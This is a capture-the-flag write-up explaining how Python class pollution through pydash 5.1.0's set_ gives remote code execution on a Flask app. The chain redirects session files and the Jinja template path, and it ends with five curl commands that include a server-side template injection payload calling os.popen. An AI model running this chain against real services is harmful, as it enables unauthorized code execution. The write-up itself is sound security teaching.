Difficulty: 450 points | 1 solves
Description: I've started to play with Flask session local caching. The application isn't finished yet, but it should be safe, riiiiiight?
Sources: insecure_session_storage.zip
Author: Me :p
For this challenge, there is no client side, and a very short backend code:
from flask import Flask, session, request, render_template, jsonify
from cachelib.file import FileSystemCache
from flask_session import Session
from secrets import token_hex
from os.path import join
from pydash import set_
# custom caching mechanism
class Settings:
def __init__(self):
pass # TODO
class LocalCache(FileSystemCache):
def _get_filename(self, key: str) -> str:
if ".." in key:
key = token_hex(8)
return join(self._path, key)
# init
app = Flask(__name__)
app.config["SESSION_PERMANENT"] = False
app.config["SESSION_TYPE"] = "filesystem"
Session(app)
app.session_interface.cache = LocalCache("flask_session")
# routes
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
body = request.json
if not "key" in body or not "value" in body:
return jsonify({ "res": "[ERROR] key & value must be set" })
set_(Settings(), body["key"], body["value"])
return render_template("index.html")
# main
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
Additionally, due to the presence of a getflag binary, we know that we need to get a Remote Code Execution (RCE):
# ...
# Setup flag
COPY flag.txt /flag.txt
COPY getflag /getflag
RUN chmod 600 /flag.txt && \
chmod 4755 /getflag /getflag
# ...
Furthermore, an old version of pydash is used:
Flask
flask-session
pydash==5.1.0
The fact that the challenge is using set_ of pydash==5.1.0 is really important as this version is vulnerable to class pollution!
But, before continuing, what is a class pollution?
Like javascript prototype pollution, python class pollution involves polluting class / object in a process context. For example:
As you can see in the above snippet, __qualname__ is overwritten even for the new object! The equivalent of this with a vulnerable version of pydash would be:
More information about this type of vulnerability can be found here.
In the challenge, this can be abuse in the index route:
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
body = request.json
if not "key" in body or not "value" in body:
return jsonify({ "res": "[ERROR] key & value must be set" })
set_(Settings(), body["key"], body["value"])
return render_template("index.html")
But, how could this be leverage in the challenge context?
In fact, the custom flask-session caching is an hint about the final exploit. As we can see, the session's filename is the current session's key. This can be leveraged using the following strategy:
1. Use the flask-session mechanism to create an index.html file inside the flask_session folder.
2. Change the render_template folder.
3. Reload the index.html templating.
In order to control the session's filename, we need to know what the key value is:
def save_session(self, app, session, response):
# ...
data = dict(session)
self.cache.set(self.key_prefix + session.sid, data, total_seconds(app.permanent_session_lifetime))
# ...
def set(
self,
key: str,
value: _t.Any,
timeout: _t.Optional[int] = None,
mgmt_element: bool = False,
) -> bool:
# ...
filename = self._get_filename(key)
# ...
with os.fdopen(fd, "wb") as f:
f.write(struct.pack("I", timeout))
self.serializer.dump(value, f)
# ...
As we can see, the filename is determined by self.key_prefix + session.sid. Additionally, the file contains the serialized session data which includes the clear text of keys → values 👀
Thanks to this, it might be possible to have a full control over the session filename and a partial control over the file content. To do this, we need to:
1. Update the session prefix to index.:
set_(Settings(), "__class__.__init__.__globals__.app.session_interface.key_prefix", "index.")
2. Create a session with html as sid:
# Because flask-session are not permanent, session.sid it the current session value
curl -H "cookie: session=html" http://localhost:5000/
3. Create a session's key that has a jinja2 template as a value:
set_(Settings(), "__class__.__init__.__globals__.session.rce", "{{7*7}}")
Part 2 & 3 must be done in 1 request.
Now that we can create an index.html file that contains a jinja payload, we need to find a way to change the templating folder.
In the flask source code, templating are listed this way:
def list_templates(self) -> list[str]:
result = set()
loader = self.app.jinja_loader
if loader is not None:
result.update(loader.list_templates()) # here it use the templating library listing method -> jinja in our case
# ...
return list(result)
def list_templates(self) -> t.List[str]:
found = set()
for searchpath in self.searchpath:
walk_dir = os.walk(searchpath, followlinks=self.followlinks)
# ...
return sorted(found)
As we can see, app.jinja_loader.searchpath contains an array of paths that are resolved to search for a template file. This can be overwritten this way using set_:
set_(Settings(), "__class__.__init__.__globals__.app.jinja_loader.searchpath", ["/usr/app/flask_session"])
Therefore, this won't be enough as template are cached by default by jinja after being generated.
def __init__(
self,
# ...
):
# ...
# set the loader provided
self.loader = loader
self.cache = create_cache(cache_size) # here
self.bytecode_cache = bytecode_cache
self.auto_reload = auto_reload
def create_cache(
size: int,
)
# ...
if size < 0:
return {}
return LRUCache(size) # type: ignore
As we can see, the jinja cache is handled by app.jinja_env.cache which is a LRUCache object. Fortunately, overwriting it by an empty object is enough to clear the cache :)
set_(Settings(), "__class__.__init__.__globals__.app.jinja_env.cache", {})
The last problem that we gonna face is the fact that flask-session use invalid UTF-8 bytes which makes jinja crash when decoding. Bellow is where the issue occurs:
def get_source(
self, environment: "Environment", template: str
)
# ...
return source.decode(self.encoding), p, up_to_date
As we can see, this can be fixed by changing the encoding value:
set_(Settings(), "__class__.__init__.__globals__.app.jinja_loader.encoding", "iso-8859-1")
1. Update session file prefix to index..
2. Create an index.html session file (session=html) containing jinja RCE.
3. Update jinja templates path to session folder.
4. Update jinja encoding to handle binary (iso-8859-1).
5. Clear jinja cache and trigger the new template file.
# 1
curl -X POST -H "Content-Type: application/json" -d '{"key":"__class__.__init__.__globals__.app.session_interface.key_prefix", "value": "index."}' http://localhost:5000/
# 2
curl -X POST -H "Cookie: session=html" -H "Content-Type: application/json" -d '{"key":"__class__.__init__.__globals__.session.rce", "value": "{{cycler.__init__.__globals__.os.popen(\"/getflag\").read()}}"}' http://localhost:5000/
# 3
curl -X POST -H "Content-Type: application/json" -d '{"key":"__class__.__init__.__globals__.app.jinja_loader.searchpath", "value": ["/usr/app/flask_session"]}' http://localhost:5000/
# 4
curl -X POST -H "Content-Type: application/json" -d '{"key":"__class__.__init__.__globals__.app.jinja_loader.encoding", "value": "iso-8859-1"}' http://localhost:5000/
# 5
curl -X POST -H "Content-Type: application/json" -d '{"key":"__class__.__init__.__globals__.app.jinja_env.cache", "value": {}}' http://localhost:5000/ --output -
Run the bash script.
Flag: GH{PyTh0n_Cl4sS_Pol1uT10n_4r3_StR0ng} 🎉